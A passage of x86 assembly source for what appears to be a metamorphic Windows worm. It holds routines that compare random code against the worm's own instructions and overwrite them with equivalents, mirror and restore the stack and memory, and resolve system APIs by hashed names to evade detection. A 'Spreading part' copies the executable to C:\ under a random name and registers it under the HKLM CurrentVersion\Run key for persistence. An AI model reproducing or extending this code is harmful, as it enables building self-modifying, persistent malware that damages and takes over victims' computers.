  2615.         cc rA,       mov,     eax, BBTableRandomCode
  2616.         cc rA,       mov,     dword[tmpAddress], eax
  2617.         cc rA,       mov,     dword[tmpAddress1], eax
  2618.         cc rA,       mov,     dword[tmpAddress2], eax
  2619.        ; Prepare Registers for RandomCode
  2620.         cc rA,       mov,     eax, dword[BBTableRandomCode+0x00]
  2621.         cc rAB,      mov,     ebx, dword[BBTableRandomCode+0x04]
  2622.         cc rABC,     mov,     ecx, dword[BBTableRandomCode+0x08]
  2623.         cc rABCD,    mov,     edx, dword[BBTableRandomCode+0x0C]
  2624.         cc rABCDP,   mov,     ebp, dword[BBTableRandomCode+0x10]
  2625.         cc rABCDPS,  mov,     esi, dword[BBTableRandomCode+0x14]
  2626.         cc rABCDPSI, mov,     edi, dword[BBTableRandomCode+0x18]
  2627.         cc rABCDPSI, push,    dword[BBTableRandomCode+0x1C]   ; Flags
  2628.         cc rNoEmul,  popfd,                   ; Save flags
  2629.  
  2630. ;                mov,     esp, dword[eax+0x20]           ; should be the same
  2631. ;                cc rNoEmul,  call,    RandomCodeExecution2
  2632.  
  2633.         cc rNoEmul,  call,    dword[hExecutionMirror]
  2634.  
  2635.         VEH_EXCEPTION RC2SIM
  2636.  
  2637.         VEH_END RC2SIM
  2638.  
  2639.         cc rA,       mov,     al, byte[bExceptionFC2SIM]
  2640.         cc rAF,      cmp,     al, byte[bExceptionRC2SIM]
  2641.         cc rNoEmul,  jne,     BBNotEqual          ; If just one failed, the codes were not the same
  2642.  
  2643.         cc rAF,      cmp,     al, 1
  2644.         cc rNoEmul,  jne,     BBSimBothNoException   ; If non of them fail, continue with the standard procedure
  2645.  
  2646.         cc rA,       mov,     al, byte[BBExceptionCount]   ; Both failed -> increase BBExceptionCount, check if Limit if reached
  2647.         cc rA,       inc,     al
  2648.         cc rA,       mov,     byte[BBExceptionCount], al
  2649.  
  2650.         cc rAF,      cmp,     al, 23
  2651.         cc rNoEmul,  je,      BBNotEqual
  2652.  
  2653.         cc rNoEmul,  jmp,     PerformeAnotherBlackBoxTest
  2654.  
  2655.         BBSimBothNoException:
  2656.         cc rD,       xor,     edx, edx       ; Byte Counter in Table
  2657.         cc rNoRes,   mov,     byte[BBExceptionCount], dl
  2658.        BBSimCompareNextByte:
  2659.             ; esi = BehaviourTable (file code) -> eax
  2660.             ; edi = TempBehaviourTable (random code) -> ebx
  2661.             cc rDF,   cmp,     edx, 8
  2662.          cc rNoEmul, jge,     BBSimCompareNoException
  2663.  
  2664.  
  2665.             cc rAD,   mov,     al, byte[tmpGBT]   ; Get the GlobalBT (1 byte) for
  2666.                              ; the current command
  2667.  
  2668.             cc rAD,   mov,     ah, 1          ; ah = 1
  2669.             cc rACD,  xchg,    cl, dl         ; change
  2670.             cc rACD,  shl,     ah, cl         ;
  2671.             cc rACD,  xchg,    cl, dl         ; Back
  2672.                            ; al = GBT
  2673.                            ; ah = 1 shl dl
  2674.             cc rADF,  and,     al, ah
  2675.          cc rNoEmul,  jz BBSimNoNeedForComparing
  2676.  
  2677.          BBSimCompareNoException:
  2678.  
  2679.             cc rAD, mov,     eax, dword[BBTableFileCode+edx*4]
  2680.             cc rABD,    mov,     ebx, dword[BBTableRandomCode+edx*4]
  2681.             cc rABDF,   cmp,     eax, ebx
  2682.             cc rNoEmul, jne,     BBNotEqual
  2683.  
  2684.          BBSimNoNeedForComparing:
  2685.         cc rAD,     inc,     edx
  2686.         cc rADF,    cmp,     edx, (BehaviourTableSize)/4
  2687.        cc rNoEmul,  jb,   BBSimCompareNextByte
  2688.  
  2689.     ; EQUAL!!!
  2690.  
  2691.        cc rC,      pop, ecx
  2692.        cc rC,      inc, ecx
  2693.        cc rC,      push,    ecx
  2694.  
  2695.        cc rAC,     mov, al, byte[tmpGBT]
  2696.        cc rACF,    and, al, 10000000b           ; FLAGS?
  2697.        cc rNoEmul, jnz     BBSimEndCheckWithFlags       ; If compare flags, do more BlackBox tests
  2698.  
  2699.        cc rCF,     cmp, ecx, 100
  2700.     cc rNoEmul, js, BlackBoxTestingWithSimilarParameters
  2701.         ; Uuuhh yeah! :D
  2702.         ; Found some nice memory equivalent!
  2703. cc rNoEmul,  jmp,     BBFoundEqual
  2704.  
  2705.  
  2706.     BBSimEndCheckWithFlags:
  2707.        cc rCF,   cmp,     ecx, 1000
  2708.     cc rNoEmul,  js, BlackBoxTestingWithSimilarParameters
  2709.         ; Uuuhh yeah! :D
  2710.         ; Found some nice memory equivalent!
  2711. cc rNoEmul,  jmp,     BBFoundEqual
  2712.  
  2713.  
  2714. ; #####
  2715. ; #####   BlackBox Testing
  2716. ; #####   Send in different parameters and compare output
  2717. ; #####
  2718. ; ###########################################################################
  2719. ; ###########################################################################
  2720.  
  2721. ; ###########################################################################
  2722. ; ###########################################################################
  2723. ; #####
  2724. ; #####   Substitute original command with equivalent commands
  2725. ; #####
  2726.  
  2727. SubstituteCommand:
  2728. ; In: ecx=command number
  2729. ;     qword[RandomCode] ... random code which will substitute the original one
  2730.  
  2731.     cc rNoEmul,  pushad
  2732.  
  2733.     cc rNoRes,   push,    ecx
  2734.     cc rNoEmul,  call,    CloseRandomFile         ; With read protection-flag
  2735.     cc rNoEmul,  call,    OpenRandomFileWrite     ; With write protection-flag
  2736.     cc rC,       pop,     ecx
  2737.  
  2738.     cc rCD,      xor,     edx, edx
  2739.     cc rAD,      mov,     eax, ecx
  2740.     cc rABD,     mov,     ebx, 8
  2741.     cc rA,       mul,     ebx      ; EDX:EAX=EAX*EBX=Command Number*8
  2742.  
  2743.     cc rAS,      mov,     esi, RandomCode
  2744.     cc rSI,      mov,     edi, eax
  2745.     cc rSI,      add,     edi, dword[WormCodeStart]
  2746.  
  2747.     cc rASI,     mov,     eax, dword[esi]
  2748.     cc rSI,      mov,     dword[edi], eax
  2749.     cc rASI,     mov,     eax, dword[esi+4]
  2750.     cc rSI,      mov,     dword[edi+4], eax
  2751.  
  2752.     cc rNoEmul,  call,    CloseRandomFile         ; With write protection-flag
  2753.     cc rNoEmul,  call,    OpenRandomFileRead      ; With read protection-flag
  2754.  
  2755.     cc rNoEmul,  popad
  2756. cc rNoEmul,  jmp, SubstituteCommandEnd
  2757.  
  2758.  
  2759. ; #####
  2760. ; #####   Substitute original command with equivalent commands
  2761. ; #####
  2762. ; ###########################################################################
  2763. ; ###########################################################################
  2764.  
  2765.  
  2766. ; ###########################################################################
  2767. ; ###########################################################################
  2768. ; #####
  2769. ; #####   Mirroring/Restoring the stack/memory
  2770. ; #####
  2771.  
  2772. MirrorTheStack:
  2773.     cc rP,      pop,     ebp         ; The only different thing
  2774.                          ; should the the current return value
  2775.     cc rNoRes,  mov,     dword[tmpRetVal], ebp
  2776.  
  2777.     cc rNoRes,  push,    tmpMemProtection
  2778.     cc rNoRes,  push,    PAGE_READWRITE
  2779.     cc rNoRes,  push,    dword[hStackSize]
  2780.     cc rNoRes,  push,    dword[hStackMirror]
  2781.     cc rNoEmul, stdcall, dword[_VirtualProtect]       ; Write Protection Flag
  2782.  
  2783.     cc rA,      mov,     eax, dword[hStackMirror]
  2784.     cc rAD,     mov,     edx, dword[hStackSize]   ; Size of stack
  2785.     cc rADS,    mov,     esi, dword[hStackStart]      ; Start of stack
  2786.     cc rADSI,   mov,     edi, eax  ; VirtualMemory for Stack
  2787.     cc rCDSI,   xor,     ecx, ecx
  2788.  
  2789.     MirrorTheStackMore:
  2790.         cc rACDSI,  mov,     eax, dword[esi]
  2791.         cc rACDSI,  mov,     dword[edi], eax
  2792.         cc rCDSI,   add,     edi, 4
  2793.         cc rCDSI,   add,     esi, 4
  2794.         cc rCDSI,   add,     ecx, 4
  2795.         cc rCDSIF,  cmp,     ecx, edx
  2796.     cc rNoEmul,  jb,      MirrorTheStackMore
  2797.  
  2798.     cc rNoRes,  push,    tmpMemProtection
  2799.     cc rNoRes,  push,    PAGE_READONLY
  2800.     cc rNoRes,  push,    dword[hStackSize]
  2801.     cc rNoRes,  push,    dword[hStackMirror]
  2802.     cc rNoEmul, stdcall, dword[_VirtualProtect]       ; Protect it!
  2803.  
  2804.     cc rP,      mov,     ebp, dword[tmpRetVal]
  2805.     cc rNoRes,  push,    ebp             ; Current return-value
  2806. cc rNoEmul, ret
  2807.  
  2808.  
  2809. RestoreTheStack:
  2810.     cc rP,      pop,     ebp         ; The only different thing
  2811.                  ; should the the current return value
  2812.  
  2813.     cc rDP,     mov,     edx, dword[hStackSize]  ; Size of stack
  2814.     cc rDPS,    mov,     esi, dword[hStackMirror]    ; VirtualMemory for Stack
  2815.     cc rDPSI,   mov,     edi, dword[hStackStart]     ; Start of Stack
  2816.     cc rCDPSI,  xor,     ecx, ecx
  2817.  
  2818.     RestoreTheStackMore:
  2819.         cc rACDPSI, mov,     eax, dword[esi]
  2820.         cc rCDPSI,  mov,     dword[edi], eax
  2821.         cc rCDPSI,  add,     edi, 4
  2822.         cc rCDPSI,  add,     esi, 4
  2823.         cc rCDPSI,  add,     ecx, 4
  2824.         cc rCDPSIF, cmp,     ecx, edx
  2825.     cc rNoEmul,  jb,      RestoreTheStackMore
  2826.  
  2827.     cc rNoRes,  push,    ebp             ; Current return-value
  2828. cc rNoEmul,  ret
  2829.  
  2830.  
  2831. RestoreTheMemory:
  2832.     cc rC,      xor,     ecx, ecx
  2833.     cc rC,      mov,     dword[tmpMemProtection], ecx
  2834.  
  2835.     cc rCS,     mov,     esi, dword[hDataMirror]
  2836.     cc rCSI,    mov,     edi, DataStart
  2837.  
  2838.     RestoreTheMemoryMore:
  2839.         cc rACSI,   mov,     eax, dword[esi]
  2840.         cc rCSI,    mov,     dword[edi], eax
  2841.         cc rCSI,    add,     esi, 4
  2842.         cc rCSI,    add,     edi, 4
  2843.         cc rCSI,    add,     ecx, 4
  2844.         cc rCSIF,   cmp,     ecx, (DataEnd-DataStart)
  2845.     cc rNoEmul,  jb,      RestoreTheMemoryMore
  2846.  
  2847.     cc rA,      xor,     eax, eax
  2848.     cc rNoRes,  mov,     dword[tmpMemProtection], eax
  2849. cc rNoEmul,  ret
  2850.  
  2851.  
  2852. MirrorTheMemory:
  2853.  
  2854.     cc rBCDPSIF,  mov, dword[tmpDWA], eax
  2855.     cc rBDPSIF,   mov, dword[tmpDWC], ecx
  2856.     cc rNoEmul,   pushfd
  2857.     cc rBCDPSIF,  pop,     ecx         ; ecx=flags
  2858.  
  2859.     cc rBCDPSIF, pop, dword[tmpDWB]       ; Return address
  2860.  
  2861.                 ; There could be 8 pop, or push
  2862.  
  2863.     cc rBCDPSIF, pop, dword[tmpDW1]       ; 1st
  2864.     cc rBCDPSIF, pop, dword[tmpDW2]       ; 2nd
  2865.     cc rBCDPSIF, pop, dword[tmpDW3]       ; 3nd
  2866.     cc rBCDPSIF, pop, dword[tmpDW4]       ; 4nd
  2867.     cc rBCDPSIF, pop, dword[tmpDW5]       ; 5st
  2868.     cc rBCDPSIF, pop, dword[tmpDW6]       ; 6nd
  2869.     cc rBCDPSIF, pop, dword[tmpDW7]       ; 7nd
  2870.     cc rBCDPSIF, pop, dword[tmpDW8]       ; 8nd
  2871.  
  2872.     cc rNoEmul,   call,   GetRandomNumber
  2873.     cc rABCDPSIF,mov,     eax, dword[RandomNumber]
  2874.     cc rBCDPSIF, push,    eax
  2875.  
  2876.     cc rNoEmul,   call,   GetRandomNumber
  2877.     cc rABCDPSIF,mov,     eax, dword[RandomNumber]
  2878.     cc rBCDPSIF, push,    eax
  2879.  
  2880.     cc rNoEmul,   call,   GetRandomNumber
  2881.     cc rABCDPSIF,mov,     eax, dword[RandomNumber]
  2882.     cc rBCDPSIF, push,    eax
  2883.  
  2884.     cc rNoEmul,   call,   GetRandomNumber
  2885.     cc rABCDPSIF,mov,     eax, dword[RandomNumber]
  2886.     cc rBCDPSIF, push,    eax
  2887.  
  2888.     cc rNoEmul,   call,   GetRandomNumber
  2889.     cc rABCDPSIF,mov,     eax, dword[RandomNumber]
  2890.     cc rBCDPSIF, push,    eax
  2891.  
  2892.     cc rNoEmul,   call,   GetRandomNumber
  2893.     cc rABCDPSIF,mov,     eax, dword[RandomNumber]
  2894.     cc rBCDPSIF, push,    eax
  2895.  
  2896.     cc rNoEmul,   call,   GetRandomNumber
  2897.     cc rABCDPSIF,mov,     eax, dword[RandomNumber]
  2898.     cc rBCDPSIF, push,    eax
  2899.  
  2900.     cc rNoEmul,   call,   GetRandomNumber
  2901.     cc rABCDPSIF,mov,     eax, dword[RandomNumber]
  2902.     cc rBCDPSIF, push,    eax
  2903.  
  2904.     cc rBCDPSIF, push,    dword[tmpDWB]
  2905.     cc rABCDPSIF,mov,     eax, dword[tmpDWA]
  2906.  
  2907.     cc rABCDPSIF,push,    ecx       ; ecx=flags -> pushfd
  2908.     cc rABCDPSIF,mov,     ecx, dword[tmpDWC]
  2909.  
  2910.     cc rNoEmul,  pushad
  2911.         cc rNoEmul,  call,    CreateRandomizedData
  2912.  
  2913.         cc rNoRes,   push,    tmpMemProtection
  2914.         cc rNoRes,   push,    PAGE_READWRITE
  2915.         cc rNoRes,   push,    (DataEnd-DataStart)
  2916.         cc rNoRes,   push,    dword[hDataMirror]
  2917.         cc rNoEmul,  stdcall, dword[_VirtualProtect]
  2918.         cc rA,       xor, eax, eax
  2919.         cc rNoRes,   mov,     dword[tmpMemProtection], eax
  2920.  
  2921.  
  2922.         cc rC,       xor,     ecx, ecx
  2923.         cc rCS,      mov,     esi, DataStart
  2924.         cc rCSI,     mov,     edi, dword[hDataMirror]
  2925.  
  2926.         MirrorTheMemoryMore:
  2927.             cc rACSI,    mov,     eax, dword[esi]
  2928.             cc rCSI,     mov,     dword[edi], eax
  2929.             cc rCSI,     add,     esi, 4
  2930.             cc rCSI,     add,     edi, 4
  2931.             cc rCSI,     add,     ecx, 4
  2932.  
  2933.             cc rCSIF,    cmp,     ecx, (DataEnd-DataStart)
  2934.         cc rNoEmul,  jb,      MirrorTheMemoryMore
  2935.  
  2936.  
  2937.         cc rNoRes,  push,    tmpMemProtection
  2938.         cc rNoRes,  push,    PAGE_READONLY
  2939.         cc rNoRes,  push,    (DataEnd-DataStart)
  2940.         cc rNoRes,  push,    dword[hDataMirror]
  2941.         cc rNoEmul, stdcall, dword[_VirtualProtect]
  2942.         cc rA,      xor, eax, eax
  2943.         cc rNoRes,  mov,     dword[tmpMemProtection], eax
  2944.  
  2945.         cc rC,      xor,     ecx, ecx
  2946.  
  2947.         cc rCS,     mov,     esi, dword[hRandomizedData]
  2948.         cc rCSI,    mov,     edi, DataStart
  2949.  
  2950.         MirrorTheMemoryWriteRandomStuff:
  2951.             cc rACSI,   mov,     eax, dword[esi]
  2952.             cc rCSI,    mov,     dword[edi], eax
  2953.             cc rCSI,    add,     esi, 4
  2954.             cc rCSI,    add,     edi, 4
  2955.             cc rCSI,    add,     ecx, 4
  2956.  
  2957.             cc rCSIF,   cmp,     ecx, (DataEnd-DataStart)
  2958.         cc rNoEmul,  jb,    MirrorTheMemoryWriteRandomStuff
  2959.     cc rNoEmul, popad
  2960.     cc rNoEmul, popfd
  2961. cc rNoEmul, ret
  2962.  
  2963.  
  2964. CreateRandomizedData:
  2965.        cc rNoRes,  push,     tmpMemProtection
  2966.        cc rNoRes,  push,     PAGE_READWRITE
  2967.        cc rNoRes,  push,     (DataEnd-DataStart)
  2968.        cc rNoRes,  push,     dword[hRandomizedData]
  2969.        cc rNoEmul, stdcall,  dword[_VirtualProtect]
  2970.  
  2971.        cc rC,      xor,      ecx, ecx
  2972.        cc rCI,     mov,      edi, dword[hRandomizedData]
  2973.        CreateRandomizedDataMore:
  2974.         cc rNoEmul, call,     GetRandomNumber
  2975.         cc rACI,    mov,      eax, dword[RandomNumber]
  2976.         cc rCI,     mov,      dword[edi], eax
  2977.         cc rCI,     add,      edi, 4
  2978.         cc rCI,     add,      ecx, 4
  2979.         cc rCIF,    cmp,      ecx, (DataEnd-DataStart)
  2980.        cc rNoEmul,  jb,     CreateRandomizedDataMore
  2981.  
  2982.        cc rA,       mov,      eax, dword[hDataMirror]
  2983.        cc rAC,      mov,      ecx, (hDataMirror-DataStart)
  2984.        cc rACI,     mov,      edi, dword[hRandomizedData]
  2985.        cc rAI,      mov,      dword[edi+ecx], eax
  2986.  
  2987.        cc rACI,     mov,      ecx, (hDataMirror1-DataStart)
  2988.        cc rAI,      mov,      dword[edi+ecx], eax
  2989.  
  2990.        cc rACI,     mov,      ecx, (hDataMirror2-DataStart)
  2991.        cc rI,       mov,      dword[edi+ecx], eax
  2992.  
  2993.        cc rAI,      mov,      eax, dword[tmpAddress1]
  2994.        cc rACI,     mov,      ecx, (tmpAddress-DataStart)
  2995.        cc rAI,      mov,      dword[edi+ecx], eax
  2996.  
  2997.        cc rACI,     mov,      ecx, (tmpAddress1-DataStart)
  2998.        cc rAI,      mov,      dword[edi+ecx], eax
  2999.  
  3000.        cc rACI,     mov,      ecx, (tmpAddress2-DataStart)
  3001.        cc rI,       mov,      dword[edi+ecx], eax
  3002.  
  3003.        cc rAI,      mov,      eax, dword[hTempAlloc1]
  3004.        cc rACI,     mov,      ecx, (hTempAlloc1-DataStart)
  3005.        cc rAI,      mov,      dword[edi+ecx], eax
  3006.  
  3007.        cc rACI,     mov,      ecx, (hTempAlloc2-DataStart)
  3008.        cc rI,       mov,      dword[edi+ecx], eax
  3009.  
  3010.        cc rAI,      mov,      eax, dword[hRandomizedData]
  3011.        cc rACI,     mov,      ecx, (hRandomizedData-DataStart)
  3012.        cc rAI,      mov,      dword[edi+ecx], eax
  3013.  
  3014.        cc rACI,     mov,      ecx, (hRandomizedData1-DataStart)
  3015.        cc rNoRes,   mov,      dword[edi+ecx], eax
  3016.  
  3017.        cc rNoRes,   push,    tmpMemProtection
  3018.        cc rNoRes,   push,    PAGE_READONLY
  3019.        cc rNoRes,   push,    (DataEnd-DataStart)
  3020.        cc rNoRes,   push,    dword[hRandomizedData]
  3021.        cc rNoEmul,  stdcall, dword[_VirtualProtect]
  3022.  cc rNoEmul,  ret
  3023.  
  3024. ; #####
  3025. ; #####   Mirroring/Restoring the memory
  3026. ; #####
  3027. ; ###########################################################################
  3028. ; ###########################################################################
  3029.  
  3030. ; ###########################################################################
  3031. ; ###########################################################################
  3032. ; #####
  3033. ; #####   Find addresses of APIs
  3034. ; #####
  3035.  
  3036. GetAllAPIAddresses:
  3037.     cc rA,       mov,     eax, "kern"
  3038.     cc rNoRes,   mov,     dword[_DLLkernel32+0x00], eax
  3039.     cc rA,       mov,     eax, "el32"
  3040.     cc rNoRes,   mov,     dword[_DLLkernel32+0x04], eax
  3041.     cc rA,       mov,     eax, ".dll"
  3042.     cc rNoRes,   mov,     dword[_DLLkernel32+0x08], eax
  3043.  
  3044.     cc rA,       mov,     eax, APIMagicNumbersKernel32
  3045.     cc rNoRes,   mov,     dword[APICurrentMagicNum], eax
  3046.     cc rA,       mov,     eax, APINumbersKernel
  3047.     cc rNoRes,   mov,     dword[APICurrentNumber], eax
  3048.     cc rA,       mov,     eax, APIAddressesKernel
  3049.     cc rNoRes,   mov,     dword[APICurrentAddress], eax
  3050.  
  3051.     cc rNoRes,   push,    _DLLkernel32
  3052.     cc rNoEmul,  stdcall, dword[LoadLibrary]
  3053.     cc rNoRes,   mov,     dword[hDLLkernel32], eax
  3054.  
  3055.     cc rNoEmul,  call,    FindAPIsInLibrary
  3056.  
  3057.     cc rA,       mov,     eax, "adva"
  3058.     cc rNoRes,   mov,     dword[_DLLadvapi32+0x00], eax
  3059.     cc rA,       mov,     eax, "pi32"
  3060.     cc rNoRes,   mov,     dword[_DLLadvapi32+0x04], eax
  3061.     cc rA,       mov,     eax, ".dll"
  3062.     cc rNoRes,   mov,     dword[_DLLadvapi32+0x08], eax
  3063.  
  3064.     cc rA,       mov,     eax, APIMagicNumbersAdvapi32
  3065.     cc rNoRes,   mov,     dword[APICurrentMagicNum], eax
  3066.     cc rA,       mov,     eax, APINumbersAdvapi
  3067.     cc rNoRes,   mov,     dword[APICurrentNumber], eax
  3068.     cc rA,       mov,     eax, APIAddressesAdvapi
  3069.     cc rNoRes,   mov,     dword[APICurrentAddress], eax
  3070.  
  3071.     cc rNoRes,   push,    _DLLadvapi32
  3072.     cc rNoEmul,  stdcall, dword[LoadLibrary]
  3073.     cc rNoRes,   mov,     dword[hDLLkernel32], eax
  3074.  
  3075.     cc rNoEmul,  call,    FindAPIsInLibrary
  3076.  
  3077.     cc rA,       mov,     eax, dword[_VirtualAlloc]
  3078.     cc rNoRes,   mov,     dword[_VirtualAlloc1], eax
  3079.     cc rA,       mov,     eax, dword[_VirtualProtect]
  3080.     cc rNoRes,   mov,     dword[_VirtualProtect1], eax
  3081. cc rNoEmul, ret
  3082.  
  3083.  
  3084. FindAPIsInLibrary:
  3085. ; In: eax = handle to DLL
  3086.  
  3087.     cc rAB,     mov,     ebx, dword[eax+0x3C]
  3088.     cc rAB,     add,     ebx, eax                ; relative -> absolut
  3089.     cc rAB,     mov,     dword[hKernelPE], ebx
  3090.  
  3091.     cc rAS,     mov,     esi, dword[ebx+0x78]
  3092.     cc rAS,     add,     esi, eax                ; relative -> absolut
  3093.     cc rAS,     add,     esi, 0x1C
  3094.  
  3095.     cc rABS,    mov,     ebx, dword[esi]
  3096.     cc rABS,    add,     ebx, eax
  3097.     cc rAS,     mov,     dword[hAddressTable], ebx
  3098.     cc rAS,     add,     esi, 0x4
  3099.  
  3100.     cc rABS,    mov,     ebx, dword[esi]
  3101.     cc rABS,    add,     ebx, eax                ; relative -> absolut
  3102.     cc rAS,     mov,     dword[hNamePointerTable], ebx
  3103.     cc rAS,     add,     esi, 0x4
  3104.  
  3105.     cc rABS,    mov,     ebx, dword[esi]
  3106.     cc rABS,    add,     ebx, eax                ; relative -> absolut
  3107.     cc rAS,     mov,     dword[hOrdinalTable], ebx
  3108.  
  3109.     cc rS,      mov,     esi, dword[hNamePointerTable]
  3110.     cc rSI,     mov,     edi, dword[APICurrentAddress]
  3111.     cc rDSI,    mov,     edx, dword[APICurrentMagicNum]
  3112.  
  3113.     cc rDSI,     sub,     esi, 4
  3114.     cc rDPSI,    xor,     ebp, ebp
  3115.     cc rDPSI,    dec,     ebp
  3116.  
  3117.     cc rCDPSI,   xor,     ecx, ecx
  3118.  
  3119.     FindAPIsInLibraryGetNextAPI:
  3120.     cc rNoEmul,  pushad
  3121.         FindAPIsInLibraryNext:
  3122.             cc rDPSI,   inc,     ebp
  3123.             cc rDPSI,   add,     esi, 4
  3124.             cc rBDPSI,  mov,     ebx, dword[esi]
  3125.             cc rBDPSI,  add,     ebx, dword[hDLLkernel32]
  3126.  
  3127.             cc rNoEmul, call,    FindAPIGiveMeTheHash
  3128.  
  3129.             cc rADPSIF, cmp,     eax, dword[edx]
  3130.         cc rNoEmul, jne,     FindAPIsInLibraryNext
  3131.  
  3132.  
  3133.         cc rPSI,     mov,     esi, ebp    ; coutner
  3134.         cc rPSI,     shl,     esi, 0x1    ; esi*=2
  3135.    
  3136.         cc rPSI,     add,     esi, dword[hOrdinalTable]   ; esi=Pointer to ordinal table
  3137.         cc rBPSI,    xor,     ebx, ebx            ; ebx=0
  3138.         cc rBPSI,    mov,     ebx, dword[esi]         ; bx=Ordinal
  3139.         cc rBPSI,    and,     ebx, 0xFFFF
  3140.  
  3141.         cc rBPSI,    shl,     ebx, 0x2            ; ebx=Ordinal*4
  3142.         cc rBPSI,    add,     ebx, dword[hAddressTable]   ; ebx=Pointer to Address of API
  3143.         cc rBPSI,    mov,     ebx, dword[ebx]
  3144.         cc rBPSI,    add,     ebx, dword[hDLLkernel32]    ; relative -> absolut
  3145.         cc rPSI,     mov,     dword[edi], ebx
  3146.     cc rNoEmul,  popad
  3147.     cc rCDPSI,   inc,     ecx
  3148.     cc rCDPSI,   add,     edi, 4
  3149.     cc rCDPSI,   add,     edx, 4
  3150.     cc rCDPSIF,  cmp,     ecx, dword[APICurrentNumber]
  3151.     cc rNoEmul,  jb,      FindAPIsInLibraryGetNextAPI
  3152. cc rNoEmul, ret
  3153.  
  3154.  
  3155. FindAPIGiveMeTheHash:
  3156. ; In: ebx=pointer to API name
  3157. ; Out: eax=Hash   (in ax)
  3158. ; changed: eax
  3159. ;        mov,     ebx, apistr
  3160.  
  3161.     cc rBCDPSI, push,    ebx
  3162.     cc rBDPSI,  push,    ecx
  3163.     cc rBPSI,   push,    edx
  3164.     cc rABPSI,  xor,     eax, eax
  3165.     cc rABCPSI, xor,     ecx, ecx
  3166.     cc rABCPSI, dec,     ebx
  3167.     FindAPIGiveMeTheHashMore:
  3168.         cc rABCPSI,   xor,     eax, ecx
  3169.         cc rABCPSI,   inc,     ebx
  3170.         cc rABCPSI,   mov,     ecx, dword[ebx]
  3171.         cc rABCDPSI,  mov,     edx, ecx        ; ecx=nooo - n ... new byte
  3172.         cc rABCDPSI,  shr,     edx, 24         ; edx=000n ... new byte
  3173.         cc rABCDPSIF, cmp,     dl, 0           ; dl=n
  3174.     cc rNoEmul, jne,     FindAPIGiveMeTheHashMore
  3175.  
  3176.     cc rABPSI,   sub,     al, byte[ebx+0]
  3177.     cc rABPSI,   add,     ah, byte[ebx+1]
  3178.     cc rABPSI,   xor,     al, byte[ebx+2]
  3179.  
  3180.     cc rAPSI,    and,     eax, 0xFFFF
  3181.     cc rADPSI,   pop,     edx
  3182.     cc rACDPSI,  pop,     ecx
  3183.     cc rABCDPSI, pop,     ebx
  3184. cc rNoEmul, ret
  3185.  
  3186. ; #####
  3187. ; #####   Find addresses of APIs
  3188. ; #####
  3189. ; ###########################################################################
  3190. ; ###########################################################################
  3191.  
  3192. ; ###########################################################################
  3193. ; ###########################################################################
  3194. ; #####
  3195. ; #####   Spreading part
  3196. ; #####
  3197.  
  3198. CopyFileAndRegEntry:
  3199.     cc rS,       xor,     esi, esi
  3200.     CopyFileAndRegEntryMore:
  3201.         cc rBS,      mov,     ebx, 26
  3202.         cc rBCS,     mov,     ecx, 97
  3203.         cc rNoEmul,  call,    CreateSpecialRndNumber
  3204.  
  3205.         cc rS,       mov,     byte[RandomFileName+esi], dl
  3206.         cc rS,       inc,     esi
  3207.         cc rSF,      cmp,     esi, 8
  3208.     cc rNoEmul,  jb,     CopyFileAndRegEntryMore
  3209.  
  3210.     cc rA,       mov,     eax, ".exe"
  3211.     cc rNoRes,   mov,     dword[RandomFileName+esi], eax
  3212.  
  3213.     cc rA,       mov,     al, "C"
  3214.     cc rNoRes,   mov,     byte[SpaceForHDC+1], al
  3215.     cc rA,       mov,     al, ":"
  3216.     cc rNoRes,   mov,     byte[SpaceForHDC+2], al
  3217.     cc rA,       mov,     al, "\"
  3218.     cc rNoRes,   mov,     byte[SpaceForHDC+3], al
  3219.  
  3220.     cc rNoRes,   push,    FALSE
  3221.     cc rNoRes,   push,    SpaceForHDC+1
  3222.     cc rNoRes,   push,    dword[hMyFileName]
  3223.     cc rNoEmul,  stdcall, dword[_CopyFileA]
  3224.  
  3225. ;  Encrypted representation of "SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
  3226. ;  Will be a very good surface for this morphism
  3227.  
  3228.     cc rA,       mov,     eax, stKey
  3229.     cc rAB,      mov,     ebx, "SOFT"
  3230.     cc rA,       mov,     dword[eax], ebx
  3231.     cc rA,       add,     eax, 0x4
  3232.     cc rAB,      mov,     ebx, "WARE"
  3233.     cc rA,       mov,     dword[eax], ebx
  3234.     cc rA,       add,     eax, 0x4
  3235.     cc rAB,      mov,     ebx, "\Mic"
  3236.     cc rA,       mov,     dword[eax], ebx
  3237.     cc rA,       add,     eax, 0x4
  3238.     cc rAB,      mov,     ebx, "roso"
  3239.     cc rA,       mov,     dword[eax], ebx
  3240.     cc rA,       add,     eax, 0x4
  3241.     cc rAB,      mov,     ebx, "ft\W"
  3242.     cc rA,       mov,     dword[eax], ebx
  3243.     cc rA,       add,     eax, 0x4
  3244.     cc rAB,      mov,     ebx, "indo"
  3245.     cc rA,       mov,     dword[eax], ebx
  3246.     cc rA,       add,     eax, 0x4
  3247.     cc rAB,      mov,     ebx, "ws\C"
  3248.     cc rA,       mov,     dword[eax], ebx
  3249.     cc rA,       add,     eax, 0x4
  3250.     cc rAB,      mov,     ebx, "urre"
  3251.     cc rA,       mov,     dword[eax], ebx
  3252.     cc rA,       add,     eax, 0x4
  3253.     cc rAB,      mov,     ebx, "ntVe"
  3254.     cc rA,       mov,     dword[eax], ebx
  3255.     cc rA,       add,     eax, 0x4
  3256.     cc rAB,      mov,     ebx, "rsio"
  3257.     cc rA,       mov,     dword[eax], ebx
  3258.     cc rA,       add,     eax, 0x4
  3259.     cc rAB,      mov,     ebx, "n\Ru"
  3260.     cc rA,       mov,     dword[eax], ebx
  3261.     cc rA,       add,     eax, 0x4
  3262.     cc rAB,      mov,     bl, "n"
  3263.     cc rA,       mov,     byte[eax], bl
  3264.  
  3265.     cc rNoRes,   push,    0x0
  3266.     cc rNoRes,   push,    hKey
  3267.     cc rNoRes,   push,    0x0
  3268.     cc rNoRes,   push,    KEY_ALL_ACCESS
  3269.     cc rNoRes,   push,    REG_OPTION_NON_VOLATILE
  3270.     cc rNoRes,   push,    0x0
  3271.     cc rNoRes,   push,    0x0
  3272.     cc rNoRes,   push,    stKey
  3273.     cc rNoRes,   push,    HKEY_LOCAL_MACHINE
  3274.     cc rNoEmul,  stdcall, dword[_RegCreateKeyExA]
  3275.  
  3276.     cc rNoRes,   push,    16
  3277.     cc rNoRes,   push,    SpaceForHDC+1
  3278.     cc rNoRes,   push,    REG_SZ
  3279.     cc rNoRes,   push,    0x0
  3280.     cc rNoRes,   push,    0x0
  3281.     cc rNoRes,   push,    dword[hKey]
  3282.     cc rNoEmul,  stdcall, dword[_RegSetValueExA]
  3283.  
  3284.     cc rNoRes,   push,    dword[hKey]
